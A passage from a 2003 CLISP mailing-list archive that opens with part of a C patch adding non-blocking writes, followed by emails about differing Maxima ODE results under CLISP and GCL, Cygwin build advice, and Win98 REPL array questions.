(!no_hang && !(result==(sintL)len)) # not successful? fehler_unwritable(TheSubr(subr_self)->name,stream); return byteptr+result; } @@ -14273,15 +14309,15 @@ local void low_write_unbuffered_socket (object stream, uintB b) { var SOCKET handle = TheSocket(TheStream(stream)->strm_ochannel); var int result; - SYSCALL(result,sock_write(handle,&b,1)); # Try to output the byte. + SYSCALL(result,sock_write(handle,&b,1,0)); # Try to output the byte. if (result==0) # not successful? fehler_unwritable(TheSubr(subr_self)->name,stream); } -local const uintB* low_write_array_unbuffered_socket (object stream, const uintB* byteptr, uintL len) { +local const uintB* low_write_array_unbuffered_socket (object stream, const uintB* byteptr, uintL len, bool no_hang) { var SOCKET handle = TheSocket(TheStream(stream)->strm_ochannel); - var int result; SYSCALL(result,sock_write(handle,byteptr,len)); - if (result != (sintL)len) # not successful? + var int result; SYSCALL(result,sock_write(handle,byteptr,len,no_hang)); + if (result < 0) # not successful? - formerly != (sintL)len fehler_unwritable(TheSubr(subr_self)->name,stream); return byteptr+result; } @@ -14455,7 +14491,7 @@ var uintL totalcount; test_n_bytes_args(&startindex,&totalcount); if (!(totalcount==0)) { - write_byte_array(&STACK_1,&STACK_0,startindex,totalcount); + write_byte_array(&STACK_1,&STACK_0,startindex,totalcount,0); } skipSTACK(2); VALUES1(T); @@ -14507,7 +14543,7 @@ var sintL result = # flush Buffer sock_write(TheSocket(BufferedStream_channel(stream)), BufferedStream_buffer_address(stream,0), - bufflen); + bufflen,0); #if defined(HAVE_SIGNALS) && defined(SIGPIPE) writing_to_subprocess = false; #endif @@ -17440,7 +17476,7 @@ if (endianness) /* byte swap */ elt_nreverse(bitbuffer,0,bytesize); # Write the data. - write_byte_array(&STACK_3,&STACK_0,0,bytesize); + write_byte_array(&STACK_3,&STACK_0,0,bytesize,0); FREE_DYNAMIC_8BIT_VECTOR(STACK_0); VALUES1(STACK_4); /* return obj */ skipSTACK(5); @@ -17511,7 +17547,7 @@ if (BIG_ENDIAN_P ? !endianness : endianness) /* byte swap */ elt_nreverse(bitbuffer,0,bytesize); # Write the data. - write_byte_array(&STACK_3,&STACK_0,0,bytesize); + write_byte_array(&STACK_3,&STACK_0,0,bytesize,0); FREE_DYNAMIC_8BIT_VECTOR(STACK_0); VALUES1(STACK_4); /* return obj */ skipSTACK(5); diff -ur ./unix.d ../src/unix.d --- ./unix.d Wed Sep 17 16:48:06 2003 +++ ../src/unix.d Wed Sep 17 13:56:56 2003 @@ -511,7 +511,7 @@ extern RETRWTYPE read_helper (int fd, RW_BUF_T buf, RW_SIZE_T nbyte, bool partial_p); #define safe_read(f,b,n) read_helper(f,b,n,true) #define full_read(f,b,n) read_helper(f,b,n,false) -extern RETRWTYPE full_write (int fd, WRITE_CONST RW_BUF_T buf, RW_SIZE_T nbyte); +extern RETRWTYPE full_write (int fd, WRITE_CONST RW_BUF_T buf, RW_SIZE_T nbyte, bool no_hang); /* used by STREAM, PATHNAME, SPVW, MISC, UNIXAUX */ /* inquire the terminal, window size: */ diff -ur ./unixaux.d ../src/unixaux.d --- ./unixaux.d Wed Sep 17 16:48:06 2003 +++ ../src/unixaux.d Thu Sep 18 11:33:35 2003 @@ -286,11 +286,12 @@ } # Ein Wrapper um die write-Funktion. - global RETRWTYPE full_write (int fd, WRITE_CONST RW_BUF_T bufarea, RW_SIZE_T nbyte); - global RETRWTYPE full_write (fd,bufarea,nbyte) + global RETRWTYPE full_write (int fd, WRITE_CONST RW_BUF_T bufarea, RW_SIZE_T nbyte, bool no_hang); + global RETRWTYPE full_write (fd,bufarea,nbyte,no_hang) var int fd; var WRITE_CONST RW_BUF_T bufarea; var RW_SIZE_T nbyte; + var bool no_hang; { var WRITE_CONST char* buf = (WRITE_CONST char*) bufarea; var RETRWTYPE retval; @@ -299,18 +300,41 @@ # Must adjust the memory permissions before calling write(). handle_fault_range(PROT_READ,(aint)buf,(aint)buf+nbyte); #endif - until (nbyte==0) { - retval = write(fd,buf,nbyte); - if (retval == 0) - break; - elif (retval < 0) { - #ifdef EINTR - if (!(errno == EINTR)) - #endif - return retval; - } else { - buf += retval; done += (RW_SIZE_T)retval; nbyte -= (RW_SIZE_T)retval; - } + { + var int fcntl_flags = 0; + if (no_hang){ + /* put it in nonblocking mode, (code stolen from stream.d) */ + if (( fcntl_flags = fcntl(fd,F_GETFL,0) )<0) { + OS_error(); + } +#ifdef O_NONBLOCK + if ( fcntl(fd,F_SETFL,fcntl_flags|O_NONBLOCK) <0) { + OS_error(); + } +#else # older Unices called it O_NDELAY + if ( fcntl(fd,F_SETFL,fcntl_flags|O_NDELAY) <0) { + OS_error(); + } +#endif + } + until (nbyte==0) { + retval = write(fd,buf,nbyte); + if (retval < 0) { + if (no_hang && (errno == EAGAIN)) goto end; + #ifdef EINTR + /* no way to interrupt a large write? *** */ + if (!(errno == EINTR)) + #endif + {done = retval; /* -1 */ goto end;} + } else { + buf += retval; done += (RW_SIZE_T)retval; nbyte -= (RW_SIZE_T)retval; + } + } + end: + + /* restore previous blocking mode */ + if (no_hang) + if ( fcntl(fd,F_SETFL,fcntl_flags) <0) { OS_error(); } } return done; } @@ -350,9 +374,9 @@ return done; } -# A wrapper around the send() function. - global ssize_t sock_write (int fd, const void* bufarea, size_t nbyte); - global ssize_t sock_write (fd,bufarea,nbyte) +# A wrapper around the send() function. *** no_hang case totally untested ! + global ssize_t sock_write (int fd, const void* bufarea, size_t nbyte, bool no_hang); + global ssize_t sock_write (fd,bufarea,nbyte,no_hang) var int fd; var const void* bufarea; var size_t nbyte; @@ -364,18 +388,40 @@ # Must adjust the memory permissions before calling send(). handle_fault_range(PROT_READ,(aint)buf,(aint)buf+nbyte); #endif - until (nbyte==0) { - retval = send(fd,buf,nbyte,0); - if (retval == 0) - break; - elif (retval < 0) { + { + var int fcntl_flags; + if (no_hang){ + /* put it in nonblocking mode, (code stolen from stream.d) */ + if (( fcntl_flags = fcntl(fd,F_GETFL,0) )<0) { + OS_error(); + } +#ifdef O_NONBLOCK + if ( fcntl(fd,F_SETFL,fcntl_flags|O_NONBLOCK) <0) { + OS_error(); + } +#else # older Unices called it O_NDELAY + if ( fcntl(fd,F_SETFL,fcntl_flags|O_NDELAY) <0) { + OS_error(); + } +#endif + } + until (nbyte==0) { + retval = send(fd,buf,nbyte,0); + if (retval < 0) { + if (errno == EWOULDBLOCK) goto end; #ifdef EINTR - if (!(errno == EINTR)) + if (!(errno == EINTR)) #endif - return retval; - } else { - buf += retval; done += retval; nbyte -= retval; - } + {done = retval; goto end;} + } else { + buf += retval; done += retval; nbyte -= retval; + } + } + end: + + /* restore previous blocking mode */ + if (no_hang) + if ( fcntl(fd,F_SETFL,fcntl_flags) <0) { OS_error(); } } return done; } From jalam@cc.ysu.edu Fri Sep 19 12:46:08 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0EoO-0000TR-00 for ; Thu, 18 Sep 2003 23:32:12 -0700 Received: from unix1.cc.ysu.edu ([150.134.10.33] helo=ysuwebshield01.ysu.edu) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1A0EoO-0000OJ-3L for clisp-list@lists.sourceforge.net; Thu, 18 Sep 2003 23:32:12 -0700 Received: from UNIX1.CC.YSU.EDU(150.134.10.33) by ysuwebshield01.ysu.edu via csmap id 15084; Fri, 19 Sep 2003 02:32:13 -0400 (EDT) Received: from alam.eng.ysu.edu ([150.134.100.65] helo=cc.ysu.edu) by unix1.cc.ysu.edu with esmtp (Exim 4.20) id 1A0EnH-0006Jy-QF; Fri, 19 Sep 2003 02:31:03 -0400 Message-ID: <3F6AA2B9.9050101@cc.ysu.edu> From: Javed Alam Reply-To: jalam@cc.ysu.edu User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3.1) Gecko/20030425 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Billinghurst, David (CALCRTS)" , maxima@www.math.utexas.edu, clisp-list@lists.sourceforge.net, Javed Alam , A.G.Grozin@inp.nsk.su References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.1 (--) X-Spam-Report: -2.1/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: David Thanks for the tips both of the approaches suggested by you worked in getting maxima{compiled with clisp} shell to open up in texmacs {winxp/win200/cygwin/}. However, that is not the end of my problems. I tried to solve this 2nd order differential equation and end up with a wrong answer because if I try doing the same with maxima compiled with GCL I get the right answer. Did some body else had the same problem? [...] Content analysis details: (-2.10 points, 5 required) USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] clisp and gclisp give different answer for the same problem, not related to texmacs/maxima interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 12:49:04 2003 X-Original-Date: Fri, 19 Sep 2003 02:31:21 -0400 David Thanks for the tips both of the approaches suggested by you worked in getting maxima{compiled with clisp} shell to open up in texmacs {winxp/win200/cygwin/}. However, that is not the end of my problems. I tried to solve this 2nd order differential equation and end up with a wrong answer because if I try doing the same with maxima compiled with GCL I get the right answer. Did some body else had the same problem? $ maxima i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 Maxima 5.9.0 http://maxima.sourceforge.net Distributed under the GNU Public License. See the file COPYING. Dedicated to the memory of William Schelter. This is a development version of Maxima. The function bug_report() provides bug reporting information. ;; Loading file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp ... ;; Loaded file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp (C1) 'diff(x,t,2) + a*x = b*sin(c*t); 2 d x (D1) --- + a x = b SIN(c t) 2 dt (C2) ode2(d1,x,t); Is a positive, negative, or zero? positive; / [ (D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) t)) ] 1. Break [1]> d /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) dt d - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt dt / [ + b COS(SQRT(a) t) I (COS(c t + SQRT(a) t) - COS(c t - SQRT(a) t)) ] / d /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) dt d - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt + %K1 SIN(SQRT(a) t) dt + %K2 COS(SQRT(a) t) Same solution using maxima compiled under gclisp C:\Program Files\Maxima-5.9.0\lib\maxima\5.9.0\binary-gcl>maxima -eval n) GCL (GNU Common Lisp) Version(2.5.0) Thu Jan 30 02:37:51 CST 2003 Licensed under GNU Library General Public License Contains Enhancements by W. Schelter Use (help) to get some basic information on how to use GCL. Maxima 5.9.0 http://maxima.sourceforge.net Distributed under the GNU Public License. See the file COPYING. Dedicated to the memory of William Schelter. This is a development version of Maxima. The function bug_report() provides bug reporting information. (C3) 'diff(x,t,2) + a*x= b*sin(c*t); 2 d x (D3) --- + a x = b SIN(C t) 2 dt (C4) ode2(d3,x,t); Is a positive, negative, or zero? positive; b SIN(C t) (D4) x = - ---------- + %K1 SIN(SQRT(a) t) + %K2 COS(SQRT(a) t) 2 C - a (C5) The two solutions are totally different. This has to do with the CLISP and GCLISP compilers. Any help or suggestions in this regard will be highly appreciated. regards javed Billinghurst, David (CALCRTS) wrote: >>From: Billinghurst, David (CALCRTS) >> >> >> >>>From: Javed Alam >>>Sent: Saturday, 13 September 2003 12:02 AM >>> >>>I have been trying to run texmacs-1.0.1.21 with maxima-5.9.0 under >>>cygwin on a win/xp and win/2000 system. >>> >>>[...] >>> >>>I get the following error. >>> >>>[...] >>> >>>Fatal error: bad url in 'complete' >>>See file : url.cpp >>> >>> >>See if https://savannah.gnu.org/bugs/?func=detailbug&group_id=156&bug_id=4241 >>helps. It suggests hard coding a file location. I will have a look >>myself over weekend. >> >> > >Alternatively: >http://www.mail-archive.com/fink-users@lists.sourceforge.net/msg09820.html >indicates that the problem is related to locate/updatedb. > >When "locate toc_maxima.html" finds the file then texmacs will run maxima. >However, I have some unresolved issues on cygwin: > - the machine that used to work now doesn't, > - the one that didn't now does after doing an updatedb > - updatedb is giving me some grief. > > > > -- *Javed Alam, *Ph.D. *Professor* *Civil/Environmental/Chemical Engineering Department* Youngstown State University Youngstown, Ohio 44555 Phone 330-941-3029 Fax 330-941-3265 e-mail jalam@cc.ysu.edu web: http://www.eng.ysu.edu/~jalam/ ====================================================== "Knowledge will forever govern ignorance, and a people who mean to be their own governors, must arm themselves with the power knowledge gives. A popular government without popular information or the means of acquiring it, is but a prologue to a farce or a tragedy or perhaps both." - James Madison /(Fourth President of the United States)/ "Facts are stupid things..." - Ronald Reagan /(40th President of the United States)/ ======================================================== From message@MailAndNews.com Fri Sep 19 12:52:51 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0J9f-0004yh-00 for ; Fri, 19 Sep 2003 04:10:27 -0700 Received: from fep22-1.kolumbus.fi ([193.229.5.122] helo=fep22-app.kolumbus.fi) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0J9e-00030d-N4 for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 04:10:26 -0700 Received: from poboxes.com ([81.197.3.110]) by fep22-app.kolumbus.fi with ESMTP id <20030919111024.GWXK19067.fep22-app.kolumbus.fi@poboxes.com>; Fri, 19 Sep 2003 14:10:24 +0300 From: Jari Aalto CC: Jari Aalto To: clisp-list@lists.sourceforge.net References: Message-ID: <8yolowlh.fsf@blue.sea.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: [Keep CC, thank you] > root@w2kpicasso:/usr/src/build/clisp/clisp-2.31# ls -la build-cygwin/ > total 0 > drwxr-xr-x 2 root None 0 Sep 15 23:19 . > drwxr-xr-x 22 root None 0 Sep 15 22:25 .. > > Let me know how to proceed [...] Content analysis details: (-0.50 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] Re: CLISP - compile troubles (Cygwin porting) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 12:55:11 2003 X-Original-Date: Fri, 19 Sep 2003 14:18:18 +0300 [Keep CC, thank you] > root@w2kpicasso:/usr/src/build/clisp/clisp-2.31# ls -la build-cygwin/ > total 0 > drwxr-xr-x 2 root None 0 Sep 15 23:19 . > drwxr-xr-x 22 root None 0 Sep 15 22:25 .. > > Let me know how to proceed please replace "--install" with "--build --install". sorry. if you do not have libsigsegv installed, I suggest getting it from ftp://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.1.tar.gz and installing it with ./configure --prefix /usr/local/libsigsegv-cygwin make && make check && make install (you can omit --prefix here in --with-libsigsegv-prefix=/usr/local/libsigsegv-cygwin in CLISP config if you do not need libsigsegv/mingw). this is not required, but _highly_ recommended. this is a _build-time_ dependency only (not a run-time dependency!) I had to port libsegv to cygwin first (Just announced ITP in cygwin-apps mailing list), so I'm back in clisp again. Here is the latest build messages, let me know how to proceed. ./configure \ --prefix=/usr \ --exec-prefix=/usr \ --with-dynamic-ffi \ --with-module=syscalls \ --with-module=regexp \ --fsstnd=redhat \ --with-module=dirkey \ --with-module=bindings/win32 \ --with-libsigsegv-prefix=/usr/lib \ --install --build cygwin I used ftp://ftp.gnu.org/pub/gnu/libsigsegv/ which had version libsigsegv-2.0 (You mentioned 2.1 ?) Jari ln -s ../src/nls_cp1257.c nls_cp1257.c ln -s ../src/nls_hp_roman8.c nls_hp_roman8.c ln -s ../src/nls_nextstep.c nls_nextstep.c ln -s ../src/nls_jisx0201.c nls_jisx0201.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c encoding.c encoding.d: In function `nls_range': encoding.d:1658: warning: `i1' might be used uninitialized in this function encoding.d:1659: warning: `i2' might be used uninitialized in this function ln -s ../src/pathname.d pathname.d ./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c pathname.c pathname.d: In function `parse_logical_word': pathname.d:1529: warning: `ch' might be used uninitialized in this function pathname.d: In function `C_launch': pathname.d:10862: warning: variable `exit_code' might be clobbered by `longjmp' or `vfork' ln -s ../src/stream.d stream.d ./comment5 stream.d | ./ansidecl | ./varbrace > stream.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c stream.c stream.d: In function `iconv_range': stream.d:3932: warning: `i1' might be used uninitialized in this function stream.d:3933: warning: `i2' might be used uninitialized in this function stream.d: In function `lisp_completion': stream.d:9147: warning: variable `array' might be clobbered by `longjmp' or `vfork' stream.d:9154: warning: variable `ptr' might be clobbered by `longjmp' or `vfork' stream.d:9169: warning: variable `ptr1' might be clobbered by `longjmp' or `vfork' make: *** [stream.o] Interrupt From lin8080@freenet.de Fri Sep 19 13:26:02 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0PBr-0002UE-00 for ; Fri, 19 Sep 2003 10:37:08 -0700 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A0PBq-0003cN-Vs for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 10:37:07 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout2.freenet.de with asmtp (Exim 4.23) id 1A0PBj-0002kg-F1 for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 19:36:59 +0200 Received: from b7560.pppool.de ([213.7.117.96] helo=freenet.de) by mx0.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.23 #2) id 1A0PBh-0003kr-W6 for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 19:36:58 +0200 Message-ID: <3F686B5A.D5049047@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CL-2.31 on Win98 References: <3F59C63F.ECCD20D5@freenet.de> <491758488.20030907101325@ich.dvo.ru> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -0.4 (/) X-Spam-Report: -0.4/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Arseny Slobodjuck schrieb: > Full version (with modules) doesn't work on win98 and NT4, indeed. As > Sam said CreateHardlink needed for COPY-FILE :METHOD :HARDLINK. Base > version works on NT4. Hallo [...] Content analysis details: (-0.40 points, 5 required) FROM_ENDS_IN_NUMS (0.7 points) From: ends in numbers X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header USER_AGENT_MOZILLA_XM (0.0 points) X-Mailer header indicates a non-spam MUA (Netscape) REFERENCES (-0.5 points) Has a valid-looking References header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 13:29:22 2003 X-Original-Date: Wed, 17 Sep 2003 16:10:34 +0200 Arseny Slobodjuck schrieb: > Full version (with modules) doesn't work on win98 and NT4, indeed. As > Sam said CreateHardlink needed for COPY-FILE :METHOD :HARDLINK. Base > version works on NT4. Hallo Now I found time to take a closer look and I find a second lisp.exe in the directory /base. This works fine on win98. [3]> (lisp-implementation-version) "2.31 (released 2003-09-01) (built 3271571601) (memory 3272780650)" BTW: Is it possible to replace the word-monster (lisp-implementation-version) with single (version)? (I tried this without lisp-..., because I remember so) Nice, thank you. Which version should I now report, when there is a full and a base lisp.exe? And is the difference important? Then I try to build an array which should look like: (a0 a1 a2 a3) (b0 b1 b2 b3 b4 5b) (c0 c1 c2) (d0 d1 d2 d3 d4 d5 d6 d7) ... but I don't get it. Is this impossible to do? While trying, I saw that still (since 2.24) (setf (aref neuron02 0 2) 00) is always print-out 0 and not 00. I have some values like (01 02 03... 23 24 25) and numbers with single digits are not nice as a table on the screen (it looks like (1 2 3 ... 23 24 25)). Until now I set this to a string [87]> (setf (aref feld 1 0) "00") "00" Else I come to another thing I want to print here. ;; (setf feld (make-array '(4 4))) goes before. [71]> (setf (aref feld 0 3) nn) *** - EVAL: variable NN has no value The following restarts are available: STORE-VALUE :R1 You may input a new value for NN. USE-VALUE :R2 You may input a value to be used instead of NN. 1. Break [72]> :r2 Use instead of NN: 'nn 'NN [73]> feld #2A((0 1 'NN NIL) (NIL AA NIL NIL) (NIL NIL BB NIL) (NIL NIL NIL CC)) [75]> (aref feld 0 3) 'NN To repeat it, I found this: [28]> (setf (aref feld 0 3) nn) *** - EVAL: variable NN has no value The following restarts are available: STORE-VALUE :R1 You may input a new USE-VALUE :R2 You may input a val 1. Break [29]> :r2 Use instead of NN: nn *** - SYSTEM::STORE: 0 is not an array 1. Break [30]> :a [31]> (setf (aref feld 2 2) 'nn) NN ;; works right feld looks like this: #2A((NIL NIL NIL 2) ("00" 0 NN NIL) (NIL NIL NN 'NN) (NIL NIL NIL NIL)) and using once :r1 nn, this makes 'nn to the feld, after one use of :r1 all seemed to work fine: [50]> (setf (aref feld 3 0) nn) 'NN [51]> feld #2A(('NN NN NIL 'NN) ("00" 0 NN NIL) (NIL NIL NN 'NN) ('NN NIL NIL NIL)) [59]> (setf (aref feld 3 1) 'nn) NN hmmm, I try it on an other day. But after all, I'm happy, to get CL-2.31 work. Next I test my old code ... stefan - wishes always a better idea :) From fateman@cs.berkeley.edu Fri Sep 19 13:02:04 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A0N05-0000Na-00 for ; Fri, 19 Sep 2003 08:16:49 -0700 Received: from smtp804.mail.sc5.yahoo.com ([66.163.168.183]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1A0N04-0000rI-97 for clisp-list@lists.sourceforge.net; Fri, 19 Sep 2003 08:16:48 -0700 Received: from adsl-63-201-229-14.dsl.snfc21.pacbell.net (HELO cs.berkeley.edu) (rfateman@sbcglobal.net@63.201.229.14 with plain) by smtp-sbc-v1.mail.vip.sc5.yahoo.com with SMTP; 19 Sep 2003 15:16:42 -0000 Message-ID: <3F6B1DF1.4060300@cs.berkeley.edu> From: Richard Fateman User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: jalam@cc.ysu.edu CC: "Billinghurst, David (CALCRTS)" , maxima@www.ma.utexas.edu, clisp-list@lists.sourceforge.net, A.G.Grozin@inp.nsk.su References: <3F6AA2B9.9050101@cc.ysu.edu> In-Reply-To: <3F6AA2B9.9050101@cc.ysu.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Usually the way to tell if something is a compiler bug is to find load the corresponding non-compiled file and run the program again. Then try the program again but load only one definition from the file and see if it fixes it. [...] Content analysis details: (-2.60 points, 5 required) USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: [Maxima] clisp and gclisp give different answer for the same problem, not related to texmacs/maxima interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 19 14:05:10 2003 X-Original-Date: Fri, 19 Sep 2003 08:17:05 -0700 Usually the way to tell if something is a compiler bug is to find load the corresponding non-compiled file and run the program again. Then try the program again but load only one definition from the file and see if it fixes it. Which one file, which one definition... that's tricky to determine. Another way, if you have 2 different behaviors, is to trace all the programs that you think might matter, and look at the two traces. (output the trace info to text files...) Good luck. RJF Javed Alam wrote: > > David > > Thanks for the tips both of the approaches suggested by you worked in > getting > maxima{compiled with clisp} shell to open up in texmacs > {winxp/win200/cygwin/}. However, that is not the end > of my problems. I tried to solve this 2nd order differential equation > and end up with > a wrong answer because if I try doing the same with maxima compiled > with GCL I get the > right answer. Did some body else had the same problem? > > > > $ maxima > i i i i i i i ooooo o ooooooo ooooo ooooo > I I I I I I I 8 8 8 8 8 o 8 8 > I \ `+' / I 8 8 8 8 8 8 > \ `-+-' / 8 8 8 ooooo 8oooo > `-__|__-' 8 8 8 8 8 > | 8 o 8 8 o 8 8 > ------+------ ooooo 8oooooo ooo8ooo ooooo 8 > > Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 > Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 > Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 > Copyright (c) Bruno Haible, Sam Steingold 1999-2003 > > Maxima 5.9.0 http://maxima.sourceforge.net > Distributed under the GNU Public License. See the file COPYING. > Dedicated to the memory of William Schelter. > This is a development version of Maxima. The function bug_report() > provides bug reporting information. > ;; Loading file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp ... > ;; Loaded file /usr/local/share/maxima/5.9.0/share/maxima-init.lisp > (C1) 'diff(x,t,2) + a*x = b*sin(c*t); > 2 > d x > (D1) --- + a x = b SIN(c t) > 2 > dt > (C2) ode2(d1,x,t); > Is a positive, negative, or zero? > > positive; > / > [ > (D2) x = b SIN(SQRT(a) t) I (SIN(c t + SQRT(a) t) + SIN(c t - SQRT(a) t)) > ] > 1. Break [1]> > > d > /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) > dt > > d > - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt > dt > > / > [ > + b COS(SQRT(a) t) I (COS(c t + SQRT(a) t) - COS(c t - SQRT(a) t)) > ] > / > > d > /(2 COS(SQRT(a) t) (-- (SIN(SQRT(a) t))) > dt > > d > - 2 SIN(SQRT(a) t) (-- (COS(SQRT(a) t)))) dt + %K1 SIN(SQRT(a) t) > dt > > + %K2 COS(SQRT(a) t) > > > > > Same solution using maxima compiled under gclisp > > > C:\Program Files\Maxima-5.9.0\lib\maxima\5.9.0\binary-gcl>maxima -eval > n) > GCL (GNU Common Lisp) Version(2.5.0) Thu Jan 30 02:37:51 CST 2003 > Licensed under GNU Library General Public License > Contains Enhancements by W. Schelter > > Use (help) to get some basic information on how to use GCL. > Maxima 5.9.0 http://maxima.sourceforge.net > Distributed under the GNU Public License. See the file COPYING. > Dedicated to the memory of 